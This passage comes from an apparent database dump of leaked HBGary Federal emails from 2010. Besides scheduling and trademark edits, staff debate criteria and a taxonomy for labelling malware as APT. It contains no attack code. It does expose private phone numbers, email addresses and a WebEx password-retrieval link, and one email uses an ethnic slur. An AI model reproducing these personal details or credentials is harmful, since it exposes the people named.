as:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Internet Protocol (IP)-address filtering or “blocking,” typically by blacklisting the IP addresses of websites or other services, possibly by the network operator, to deny the user access&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Domain Naming Service (DNS) hijacking, redirecting a user to a different website or service from what the user intended, by supplying a false reply to the user’s domain name resolution request&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content filtering that captures and analyzes the content of the user’s network traffic through deep packet inspection to check whether the traffic contains predefined signatures or sensitive keywords.&nbsp;Preparing such a proposal is likely beyond our current resources, so we need a partner and Agilex is the most likely candidate. They have the connections to turn up the real agenda behind this project, and could well be positioned to make their presence felt.&nbsp;The submittal date is July 7, so haven’t much time to get this together. &nbsp;&nbsp;http://www.darpa.mil/tcto/solicitations/BAA-10-69.html&nbsp;Best,&nbsp;Neal SmithPresident &amp; CEO&nbsp;&lt;image001.jpg&gt;2801 Monterey Highway, Suite H&nbsp;&nbsp;|&nbsp;&nbsp;Monterey, CA 93940p: (831) 372-2600&nbsp;&nbsp;|&nbsp;&nbsp;f: (831) 372-1600&nbsp;&nbsp;|&nbsp;&nbsp;c: (831) 809-4049email:&nbsp;smith@webloq.com&nbsp;–&nbsp;smith@webloq.private&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.webloq.com&nbsp;-&nbsp;www.loqmail.com&nbsp;&nbsp;',2402,'aaron_hbgary_com/2402.html'),(7349,'2010-06-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005344.M236171P14101Q2204.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: IPad Apps','That u can\'t do, netflix has to have a network connection.  For movies\r\non the plane I recommend iTunes, you can rent and watch offline.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 12, 2010, at 9:04 PM, Greg Hoglund  wrote:\r\n\r\n> How do you download netflix so you can watch movie on the airplane?\r\n>\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 11, 2010, at 7:40 PM, Aaron Barr  wrote:\r\n>\r\n>> I would add:\r\n>> Popplet\r\n>> Pandora\r\n>> Todo\r\n>> Newsrack\r\n>> Twitterrific\r\n>> RealRacingHD\r\n>>\r\n>> On Jun 11, 2010, at 10:32 PM, Ted Vera wrote:\r\n>>\r\n>>> Here\'s my short must-have app list:\r\n>>>\r\n>>> Bento - database app\r\n>>> ABC player\r\n>>> Netflix\r\n>>> Webex\r\n>>> Zinio\r\n>>> Pandora\r\n>>> DocsToGo - view, edit and create Google Docs\r\n>>> GotoMeeting\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',6867,'aaron_hbgary_com/6867.html'),(7350,'2010-06-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005347.M256405P14101Q2205.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>,\"Daniel Ingevaldson\" <dsi@endgames.us>','Datasheet','Wanted to give you a sneak peak of the datasheet we will have available at the FIRST conference next week.  Sorry I haven\'t gotten back to you on your last email.  I have a talk at NSA on Tuesday and FIRST the rest of the week so have been prepping for those.  I will respond shortly.  All sounds good.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15959,'aaron_hbgary_com/15959.html'),(7351,'2010-06-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005347.M833926P14101Q2206.eml','\"Greg Hoglund\" <greg@hbgary.com>','Link','http://www.readwriteweb.com/cloud/2010/04/the-largest-cloud-in-the-world.php\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9313,'aaron_hbgary_com/9313.html'),(7352,'2010-06-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005348.M318269P14101Q2208.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,aaron@hbgary.com','When to call APT and when not (on HBGary engagements)',' \r\nMike, team,\r\n \r\nHBGary services needs to have a concise definition of what they consider to be APT.  Since APT is associated with targeted attacks, then any malware that represents a pathway vector for a targeted attack should be considered APT. Remember, it&#39;s not the malware, its the human operating it.  Most of the time you can&#39;t say squat about who is operating it, so if the malware represents a potential vector of attack, then consider it APT - don&#39;t wait for the attacker to actually log in and steal something before the malware is considered APT.\r\n\r\n \r\nWe need to be careful about the lack of formal definition around the term APT.  I have seen numerous malware shrugged off as non-APT during the QNA engagement.  I have noticed an attitude about what APT is or is-not.  That is not a good road for us.  When we detect malware that can function as an attack tool, it should be considered APT and worthy of respect.  \r\n\r\n \r\nHere are some things I have noticed:\r\n- if the malware comes back with a &#39;label&#39; or &#39;name&#39; from an AV vendor on virustotal, there is an attitude that it&#39;s not APT\r\n- if the malware has generic attack tool capability, but is known by a popular botnet name, such as zues or conficker, it&#39;s not called APT (I have heard a customer say &#39;we don&#39;t care about zues&#39;)\r\n\r\n- one malware at QNA, based on Pinch, had a generic download-and-execute capability, but it was not considered APT.  The only reason it was not considered APT was because it was a &#39;named&#39; malware.  In all other respects it had the same capability as ntshrui.dll which _was_ considered APT.\r\n\r\n- the customer did not need &#39;proof&#39; that chinese hackers were using a malware to call it APT.  The ntshrui.dll was only a download-and-execute capability, and was not used, and it was considered APT.  If that constitutes the definition, then the pinch malware should have been called APT as well, because they were logically equivalent in terms of capability and usage.\r\n\r\n- in one case, terramark gave some ip&#39;s to QNA, which we followed up on to find it was just generic &#39;named&#39; malware, but because terramark gave the ip&#39;s the malware was considered APT\r\n \r\nIt&#39;s very clear that the customer will call it APT when we tell them it&#39;s APT - they have no ability to figure this out on their own.  So, we need to have rules about when to call it APT. \r\n \r\nWe have a good chance to test our criteria on a new suspicious DLL.  Do we call it APT or not?  Phil found a DLL that appears to be a trojan zip library.  The legitimate zip library was downloaded and compared by Martin, and the suspected trojan is completely different.  Furthermore, the suspected trojan is packed in exactly the same way as the iprinp and rasauto32 malware programs (both of which were called APT).  The suspected trojan is resisting analysis (both Martin and Greg tried) and we have been unable to REcon trace it, and it appears to be VM-aware.  At-a-glance analysis shows us it has many malware-like traits.  OK - so what criteria do we use to determine if this APT?\r\n\r\n \r\nHere are a spectrum of different options:\r\n - we don&#39;t want to waste any more money testing it, because it&#39;s clearly not the legit app, so it&#39;s good enough to call APT and get rid of it\r\n - only if we can determine it has generic download-and-execute capability, it&#39;s APT\r\n - only if we can determine it gets commands from a C2 server, regardless of country, it&#39;s APT\r\n - only if we can determine it gets commands from a C2 server in one of the chinese dyndns we are already aware of, call it APT\r\n - same as the above, but any C2 server in china is good enough to call it APT\r\n - we don&#39;t call it APT until we see chinamen logging into it and stealing ITAR data, then we call it APT and worry about it after that\r\n \r\nI think it&#39;s very important that HBGary put a formal line in the sand about what we consider APT, because the customer is expecting HBGary to tell THEM when it&#39;s APT.  They have no idea how to determine that themselves, so we certainly should _not_ be waiting for the customer to tell us what constitutes a worthy threat and what doesn&#39;t.  \r\n\r\n \r\nSorry for the long email, but I think this is important,\r\n-Greg\r\n',7170,'aaron_hbgary_com/7170.html'),(7353,'2010-06-13','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','/aaron@hbgary.com/new/1297005348.M535336P14101Q2209.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Photos/stencils','\r\n\r\n\r\n\r\n\r\nThanks Aaron...few comments below:\r\n&nbsp;\r\nPage \r\n1:\r\n- in illustration, a \r\ntrademark TM needs to go after the words \"Fidelis XPS\"\r\n- we normally \r\ndisplay the trademark symbol as Fidelis \r\nXPS&#8482; instead of (tm)\r\n&nbsp;\r\nPage \r\n2:\r\n- we need the proper trademarks on the full name of the product, first \r\ntime it is used in text. So it should read:&nbsp;Fidelis \r\nExtrusion&nbsp;Prevention System&nbsp;&reg;, \r\nFidelis XPS&#8482;, \r\n- under illustration of Information Flow Map please change the \r\ntradmarking to &#8482;&nbsp; instead of (tm)\r\n- given that Fidelis Security \r\nSystems isn\'t mentioned at all in the piece now as the \"owner\" of Fidelis \r\nXPS,&nbsp;I will need you to add a legal disclaimer to the footnote of the \r\nsecond page that says \"Fidelis&nbsp;Extrusion&nbsp;Prevention System, Fidelis \r\nXPS, and Fidelis XPS Information Flow Map are registered trademarks of Fidelis \r\nSecurity&nbsp;Systems.\"&nbsp;\r\n\r\nPlease let me know \r\nif you need anything else.\r\n&nbsp;\r\nStacey\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 10, 2010 11:58 PMTo: Sweeney, \r\nStaceyCc: Etue, David; Ted VeraSubject: Re: \r\nPhotos/stencils\r\nHere is a close to finished product. &nbsp;Final comments welcome.\r\n\r\n\r\n',773,'aaron_hbgary_com/773.html'),(7354,'2010-06-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005348.M81187P14101Q2207.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: VPN','Huh?\r\n\r\n\r\nOn Jun 11, 2010, at 11:40 PM, Aaron Barr  wrote:\r\n\r\n> what app did u use to connect?\r\n>\r\n> On Jun 11, 2010, at 11:24 PM, Ted Vera wrote:\r\n>\r\n>> Sure what time and for how long? We are \"moving\" into the timeshare\r\n>> tomorrow around lunch time.\r\n>>\r\n>> Ted\r\n>>\r\n>> On Jun 11, 2010, at 11:22 PM, Aaron Barr  wrote:\r\n>>\r\n>>> I haven\'t I will try it.\r\n>>>\r\n>>> Can you do a call with Ira tomorrow?\r\n>>>\r\n>>> On Jun 11, 2010, at 11:20 PM, Ted Vera wrote:\r\n>>>\r\n>>>> My VPN Acct works now thanks Mark. I tested from laptop iPhone and\r\n>>>> ipad all good to go.\r\n>>>>\r\n>>>> Aaron have you tried it yet?\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',6823,'aaron_hbgary_com/6823.html'),(7355,'2010-06-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005348.M825498P14101Q2210.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: LANL',' From my iPhone\r\n\r\nOn Jun 12, 2010, at 11:00 AM, Ira Entis  wrote:\r\n\r\n> 10am pacific (1 eastern) is great for me\r\n>\r\n>\r\n>\r\n> On Jun 11, 2010, at 11:44 PM, Aaron Barr  wrote:\r\n>\r\n>> ok how about tomorrow 10am or 2pm?\r\n>> Aaron\r\n>>\r\n>> On Jun 11, 2010, at 11:18 PM, Ira Entis wrote:\r\n>>\r\n>>> your call\r\n>>>\r\n>>>\r\n>>> On Jun 11, 2010, at 8:32 PM, Aaron Barr wrote:\r\n>>>\r\n>>> Hey ira,\r\n>>>\r\n>>> Sorry it\'s late.  Do you wante to give you a call this weekend or\r\n>>> Monday?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>> On Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n>>>\r\n>>>> Aaron --\r\n>>>>\r\n>>>> Per my voicemail, we would like your input on the pieces\r\n>>>> highlighted\r\n>>>> in yellow in the attached doc.  Also, give me a shout to catch up\r\n>>>> about my conversation with the client.\r\n>>>>\r\n>>>> - ira\r\n>>>>\r\n>>>>\r\n>>>> \r\n>>>> \r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',2403,'aaron_hbgary_com/2403.html'),(7356,'2010-06-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005349.M161509P14101Q2211.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: LANL','Hi ira,\r\n\r\nCan you do a call at 3pm ET today?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 12, 2010, at 11:00 AM, Ira Entis  wrote:\r\n\r\n> 10am pacific (1 eastern) is great for me\r\n>\r\n>\r\n>\r\n> On Jun 11, 2010, at 11:44 PM, Aaron Barr  wrote:\r\n>\r\n>> ok how about tomorrow 10am or 2pm?\r\n>> Aaron\r\n>>\r\n>> On Jun 11, 2010, at 11:18 PM, Ira Entis wrote:\r\n>>\r\n>>> your call\r\n>>>\r\n>>>\r\n>>> On Jun 11, 2010, at 8:32 PM, Aaron Barr wrote:\r\n>>>\r\n>>> Hey ira,\r\n>>>\r\n>>> Sorry it\'s late.  Do you wante to give you a call this weekend or\r\n>>> Monday?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>> On Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n>>>\r\n>>>> Aaron --\r\n>>>>\r\n>>>> Per my voicemail, we would like your input on the pieces\r\n>>>> highlighted\r\n>>>> in yellow in the attached doc.  Also, give me a shout to catch up\r\n>>>> about my conversation with the client.\r\n>>>>\r\n>>>> - ira\r\n>>>>\r\n>>>>\r\n>>>> \r\n>>>> \r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',14101,'aaron_hbgary_com/14101.html'),(7357,'2010-06-13','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005349.M409821P14101Q2212.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL','Yes\r\n\r\n\r\n- Ira\r\n\r\nOn Jun 13, 2010, at 2:13 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Hi ira,\r\n> \r\n> Can you do a call at 3pm ET today?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Jun 12, 2010, at 11:00 AM, Ira Entis  wrote:\r\n> \r\n>> 10am pacific (1 eastern) is great for me\r\n>> \r\n>> \r\n>> \r\n>> On Jun 11, 2010, at 11:44 PM, Aaron Barr  wrote:\r\n>> \r\n>>> ok how about tomorrow 10am or 2pm?\r\n>>> Aaron\r\n>>> \r\n>>> On Jun 11, 2010, at 11:18 PM, Ira Entis wrote:\r\n>>> \r\n>>>> your call\r\n>>>> \r\n>>>> \r\n>>>> On Jun 11, 2010, at 8:32 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>> Hey ira,\r\n>>>> \r\n>>>> Sorry it\'s late.  Do you wante to give you a call this weekend or\r\n>>>> Monday?\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> From my iPhone\r\n>>>> \r\n>>>> On Jun 11, 2010, at 2:34 PM, Ira Entis  wrote:\r\n>>>> \r\n>>>>> Aaron --\r\n>>>>> \r\n>>>>> Per my voicemail, we would like your input on the pieces\r\n>>>>> highlighted\r\n>>>>> in yellow in the attached doc.  Also, give me a shout to catch up\r\n>>>>> about my conversation with the client.\r\n>>>>> \r\n>>>>> - ira\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n',16291,'aaron_hbgary_com/16291.html'),(7358,'2010-06-13','messenger@webex.com','/aaron@hbgary.com/new/1297005349.M630990P14101Q2213.eml','aaron@hbgary.com','Your enterprise account information','As requested, here is your enterprise account information for https://hbgary.webex.com:   User Name: Aaron  Password: https://hbgary.webex.com/hbgary/viewPassword.php?UID=9d1909584b5c5f525f091c02&Ticket=c40fd7a608d13358   -------------------------------------------------------  For assistance  -------------------------------------------------------  If you cannot log in, please contact WebEx Technical Support at https://support.webex.com/support/manage-ticket.html.   WebEx Technical Support  ',6534,'aaron_hbgary_com/6534.html'),(7359,'2010-06-13','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005349.M915952P14101Q2214.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>','Call w/ Los Alamos','\r\n',6365,'aaron_hbgary_com/6365.html'),(7360,'2010-06-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005364.M773379P14101Q2215.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,shawn@hbgary.com','First draft, Malware Attribution talk for REBL',' \r\nGents,\r\nHere is draft 1.  Feedback welcome.  Feel free to steal anything from this for your own slides as well.\r\n \r\n-Greg\r\n',15239,'aaron_hbgary_com/15239.html'),(7361,'2010-06-13','\"Shawn Bracken\" <shawn@hbgary.com>','/aaron@hbgary.com/new/1297005365.M730578P14101Q2216.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,,','Re: When to call APT and when not (on HBGary engagements)','If we&#39;re going to use the term APT on the regular I think we should disambiguate it a little bit in our professional speak. I personally think that the term APT isn&#39;t descriptive enough because it doesn&#39;t effectively contain any verbage or variants that describe the current threat level of the package in question. I propose we consider something like the following set of terms:\r\nActive-APT: Any binary that directly or indirectly has the ability to recieve command and control commands from an KNOWN or UNKNOWN ACTIVE, INTERNET based controller that has NOT been blackholed internet-wide (This specifically includes any binary that contains any dynamic C&amp;C method that can still be activated in the future (dyndns, wheel-of-1000-webservers) should be called &quot;Active-APT&quot;\r\nDormant-APT: Any binary had the ability to recieve command and control messages at some point in time but who&#39;s C&amp;C INTERNET BASED controller is no longer online, blackholed, etc AND contains no mechanism to update to a new controller. These should be still cleaned up obviously - but are of a potentially lesser threat level than any ACTIVE-APT\r\nAPT Support Binary: An APT support binary is any binary that is used as a utility/helper binary of an APT package. These are binaries contain no direct C&amp;C capabilities themselves and\r\nare specifically data collection/mining applications like the &quot;update.exe&quot;. These binaries are specifically &quot;child&quot; binaries that often can get self-extracted as part of the APT setup. Also in this class would be re-installation EXE&#39;s that have no C&amp;C but specifically exist to re-install the main APT package if any of its components are detected as being removed.\r\nAPT-Worm: Any binary that a propogates automatically and contains either a C&amp;C capability OR if any evidence exists of it being targetted at specific groupsNonAPT-Worm: Any binary that propogates automatically over the network but does NOT contain C&amp;C capabilities and is not explicitly targetted at the customer network in question\r\nAttacker Support Binary: This is any file found on the system that was uploaded by the attacker but that as far as we can tell is NOT part of the standard set of files dropped/used in every instance of the APT installation. Tools such as the pass the hash toolkit, uploaded port scanners, etc\r\nVirus: Any old-style self replecating, file system ONLY based code. Must NOT have any C&amp;C/exfiltration capabilites. Thoughts?On Sat, Jun 12, 2010 at 9:00 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nMike, team,\r\n \r\nHBGary services needs to have a concise definition of what they consider to be APT.  Since APT is associated with targeted attacks, then any malware that represents a pathway vector for a targeted attack should be considered APT. Remember, it&#39;s not the malware, its the human operating it.  Most of the time you can&#39;t say squat about who is operating it, so if the malware represents a potential vector of attack, then consider it APT - don&#39;t wait for the attacker to actually log in and steal something before the malware is considered APT.\r\n\r\n\r\n \r\nWe need to be careful about the lack of formal definition around the term APT.  I have seen numerous malware shrugged off as non-APT during the QNA engagement.  I have noticed an attitude about what APT is or is-not.  That is not a good road for us.  When we detect malware that can function as an attack tool, it should be considered APT and worthy of respect.  \r\n\r\n\r\n \r\nHere are some things I have noticed:\r\n- if the malware comes back with a &#39;label&#39; or &#39;name&#39; from an AV vendor on virustotal, there is an attitude that it&#39;s not APT\r\n- if the malware has generic attack tool capability, but is known by a popular botnet name, such as zues or conficker, it&#39;s not called APT (I have heard a customer say &#39;we don&#39;t care about zues&#39;)\r\n\r\n\r\n- one malware at QNA, based on Pinch, had a generic download-and-execute capability, but it was not considered APT.  The only reason it was not considered APT was because it was a &#39;named&#39; malware.  In all other respects it had the same capability as ntshrui.dll which _was_ considered APT.\r\n\r\n\r\n- the customer did not need &#39;proof&#39; that chinese hackers were using a malware to call it APT.  The ntshrui.dll was only a download-and-execute capability, and was not used, and it was considered APT.  If that constitutes the definition, then the pinch malware should have been called APT as well, because they were logically equivalent in terms of capability and usage.\r\n\r\n\r\n- in one case, terramark gave some ip&#39;s to QNA, which we followed up on to find it was just generic &#39;named&#39; malware, but because terramark gave the ip&#39;s the malware was considered APT\r\n \r\nIt&#39;s very clear that the customer will call it APT when we tell them it&#39;s APT - they have no ability to figure this out on their own.  So, we need to have rules about when to call it APT. \r\n \r\nWe have a good chance to test our criteria on a new suspicious DLL.  Do we call it APT or not?  Phil found a DLL that appears to be a trojan zip library.  The legitimate zip library was downloaded and compared by Martin, and the suspected trojan is completely different.  Furthermore, the suspected trojan is packed in exactly the same way as the iprinp and rasauto32 malware programs (both of which were called APT).  The suspected trojan is resisting analysis (both Martin and Greg tried) and we have been unable to REcon trace it, and it appears to be VM-aware.  At-a-glance analysis shows us it has many malware-like traits.  OK - so what criteria do we use to determine if this APT?\r\n\r\n\r\n \r\nHere are a spectrum of different options:\r\n - we don&#39;t want to waste any more money testing it, because it&#39;s clearly not the legit app, so it&#39;s good enough to call APT and get rid of it\r\n - only if we can determine it has generic download-and-execute capability, it&#39;s APT\r\n - only if we can determine it gets commands from a C2 server, regardless of country, it&#39;s APT\r\n - only if we can determine it gets commands from a C2 server in one of the chinese dyndns we are already aware of, call it APT\r\n - same as the above, but any C2 server in china is good enough to call it APT\r\n - we don&#39;t call it APT until we see chinamen logging into it and stealing ITAR data, then we call it APT and worry about it after that\r\n \r\nI think it&#39;s very important that HBGary put a formal line in the sand about what we consider APT, because the customer is expecting HBGary to tell THEM when it&#39;s APT.  They have no idea how to determine that themselves, so we certainly should _not_ be waiting for the customer to tell us what constitutes a worthy threat and what doesn&#39;t.  \r\n\r\n\r\n \r\nSorry for the long email, but I think this is important,\r\n-Greg\r\n\r\n',15528,'aaron_hbgary_com/15528.html'),(7362,'2010-06-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005365.M970340P14101Q2217.eml','\"Shawn Bracken\" <shawn@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,,,,,','Re: When to call APT and when not (on HBGary engagements)',' \r\nWhat do you think of a simplied criteria --  Simply this: if the malware has C2 or exfils &quot;sensitive&quot; data, it&#39;s APT. &quot;Sensitive&quot; includes keylogging, email, files, passwords, or credentials.  &quot;Sensitive&quot; does NOT include online banking credentials, account numbers, or SSN&#39;s.\r\n\r\n \r\nTo elaborate, if there is C2 that means the malware can be driven by an attacker.  We can reverse engineer the C2 to determine capability, but most have the basic get/put/sleep/execute design pattern.  That means it&#39;s a potential vector for APT style attacks. If the malware doesn&#39;t have C2 but does exfil data that would be valuable for an APT style attack, it&#39;s APT. For example, if the malware is pre-programmed to exfiltrate data that would be valuable for APT style attacks, including keylogging, email, files, passwords, or credentials, it&#39;s APT.\r\n\r\nOn the other hand, if a malware is pre-programmed to do something like an automaton (with no C2), such as _only_ redirect ad-clicks to a competitor, or _only_ steal online banking identity, that does not involve exfil of sensitive information beyond banking/personal identity, then it&#39;s not APT.  The reason we would not consider personal identity as sensitive in this case is because customers will associate that with Russian mobsters and not Chinese APT.  However, if the exfil includes keylogging and such, it MUST be considered APT by this standard.\r\n\r\n \r\nIt should be noted that if we used the above as our definition, then most malware, including malware that is part of Russian botnets, will be considered APT.  This is because almost all malware, even Russian botnets, have generic C2, download-and-execute, in-field update, and keylogging.\r\n\r\n \r\n-G\r\n \r\nOn Sun, Jun 13, 2010 at 2:44 PM, Shawn Bracken &lt;shawn@hbgary.com&gt; wrote:\r\nIf we&#39;re going to use the term APT on the regular I think we should disambiguate it a little bit in our professional speak. I personally think that the term APT isn&#39;t descriptive enough because it doesn&#39;t effectively contain any verbage or variants that describe the current threat level of the package in question. I propose we consider something like the following set of terms: \r\n\r\nActive-APT: Any binary that directly or indirectly has the ability to recieve command and control commands from an KNOWN or UNKNOWN ACTIVE, INTERNET based controller that has NOT been blackholed internet-wide (This specifically includes any binary that contains any dynamic C&amp;C method that can still be activated in the future (dyndns, wheel-of-1000-webservers) should be called &quot;Active-APT&quot;\r\n\r\n\r\nDormant-APT: Any binary had the ability to recieve command and control messages at some point in time but who&#39;s C&amp;C INTERNET BASED controller is no longer online, blackholed, etc AND contains no mechanism to update to a new controller. These should be still cleaned up obviously - but are of a potentially lesser threat level than any ACTIVE-APT\r\n\r\n\r\nAPT Support Binary: An APT support binary is any binary that is used as a utility/helper binary of an APT package. These are binaries contain no direct C&amp;C capabilities themselves and\r\nare specifically data collection/mining applications like the &quot;update.exe&quot;. These binaries are specifically &quot;child&quot; binaries that often can get self-extracted as part of the APT setup. Also in this class would be re-installation EXE&#39;s that have no C&amp;C but specifically exist to re-install the main APT package if any of its components are detected as being removed.\r\n\r\n\r\nAPT-Worm: Any binary that a propogates automatically and contains either a C&amp;C capability OR if any evidence exists of it being targetted at specific groups\r\n\r\nNonAPT-Worm: Any binary that propogates automatically over the network but does NOT contain C&amp;C capabilities and is not explicitly targetted at the customer network in question\r\n\r\nAttacker Support Binary: This is any file found on the system that was uploaded by the attacker but that as far as we can tell is NOT part of the standard set of files dropped/used in every instance of the APT installation. Tools such as the pass the hash toolkit, uploaded port scanners, etc\r\n\r\n\r\nVirus: Any old-style self replecating, file system ONLY based code. Must NOT have any C&amp;C/exfiltration capabilites. \r\n\r\nThoughts? \r\n\r\n\r\n\r\nOn Sat, Jun 12, 2010 at 9:00 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n \r\nMike, team,\r\n \r\nHBGary services needs to have a concise definition of what they consider to be APT.  Since APT is associated with targeted attacks, then any malware that represents a pathway vector for a targeted attack should be considered APT. Remember, it&#39;s not the malware, its the human operating it.  Most of the time you can&#39;t say squat about who is operating it, so if the malware represents a potential vector of attack, then consider it APT - don&#39;t wait for the attacker to actually log in and steal something before the malware is considered APT.\r\n\r\n \r\nWe need to be careful about the lack of formal definition around the term APT.  I have seen numerous malware shrugged off as non-APT during the QNA engagement.  I have noticed an attitude about what APT is or is-not.  That is not a good road for us.  When we detect malware that can function as an attack tool, it should be considered APT and worthy of respect.  \r\n\r\n \r\nHere are some things I have noticed:\r\n- if the malware comes back with a &#39;label&#39; or &#39;name&#39; from an AV vendor on virustotal, there is an attitude that it&#39;s not APT\r\n- if the malware has generic attack tool capability, but is known by a popular botnet name, such as zues or conficker, it&#39;s not called APT (I have heard a customer say &#39;we don&#39;t care about zues&#39;)\r\n\r\n- one malware at QNA, based on Pinch, had a generic download-and-execute capability, but it was not considered APT.  The only reason it was not considered APT was because it was a &#39;named&#39; malware.  In all other respects it had the same capability as ntshrui.dll which _was_ considered APT.\r\n\r\n- the customer did not need &#39;proof&#39; that chinese hackers were using a malware to call it APT.  The ntshrui.dll was only a download-and-execute capability, and was not used, and it was considered APT.  If that constitutes the definition, then the pinch malware should have been called APT as well, because they were logically equivalent in terms of capability and usage.\r\n\r\n- in one case, terramark gave some ip&#39;s to QNA, which we followed up on to find it was just generic &#39;named&#39; malware, but because terramark gave the ip&#39;s the malware was considered APT\r\n \r\nIt&#39;s very clear that the customer will call it APT when we tell them it&#39;s APT - they have no ability to figure this out on their own.  So, we need to have rules about when to call it APT. \r\n \r\nWe have a good chance to test our criteria on a new suspicious DLL.  Do we call it APT or not?  Phil found a DLL that appears to be a trojan zip library.  The legitimate zip library was downloaded and compared by Martin, and the suspected trojan is completely different.  Furthermore, the suspected trojan is packed in exactly the same way as the iprinp and rasauto32 malware programs (both of which were called APT).  The suspected trojan is resisting analysis (both Martin and Greg tried) and we have been unable to REcon trace it, and it appears to be VM-aware.  At-a-glance analysis shows us it has many malware-like traits.  OK - so what criteria do we use to determine if this APT?\r\n\r\n \r\nHere are a spectrum of different options:\r\n - we don&#39;t want to waste any more money testing it, because it&#39;s clearly not the legit app, so it&#39;s good enough to call APT and get rid of it\r\n - only if we can determine it has generic download-and-execute capability, it&#39;s APT\r\n - only if we can determine it gets commands from a C2 server, regardless of country, it&#39;s APT\r\n - only if we can determine it gets commands from a C2 server in one of the chinese dyndns we are already aware of, call it APT\r\n - same as the above, but any C2 server in china is good enough to call it APT\r\n - we don&#39;t call it APT until we see chinamen logging into it and stealing ITAR data, then we call it APT and worry about it after that\r\n \r\nI think it&#39;s very important that HBGary put a formal line in the sand about what we consider APT, because the customer is expecting HBGary to tell THEM when it&#39;s APT.  They have no idea how to determine that themselves, so we certainly should _not_ be waiting for the customer to tell us what constitutes a worthy threat and what doesn&#39;t.  \r\n\r\n \r\nSorry for the long email, but I think this is important,\r\n-Greg\r\n',4526,'aaron_hbgary_com/4526.html'),(7363,'2010-06-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005382.M817065P14101Q2218.eml','sbrown@dewnet.ncsc.mil,sbrown@dewnet.ncsc.mil','Slides for Greg Hoglund attached',' \r\nScott,\r\n \r\nAttached are my slides for the REBL presentation.  I will also bring a 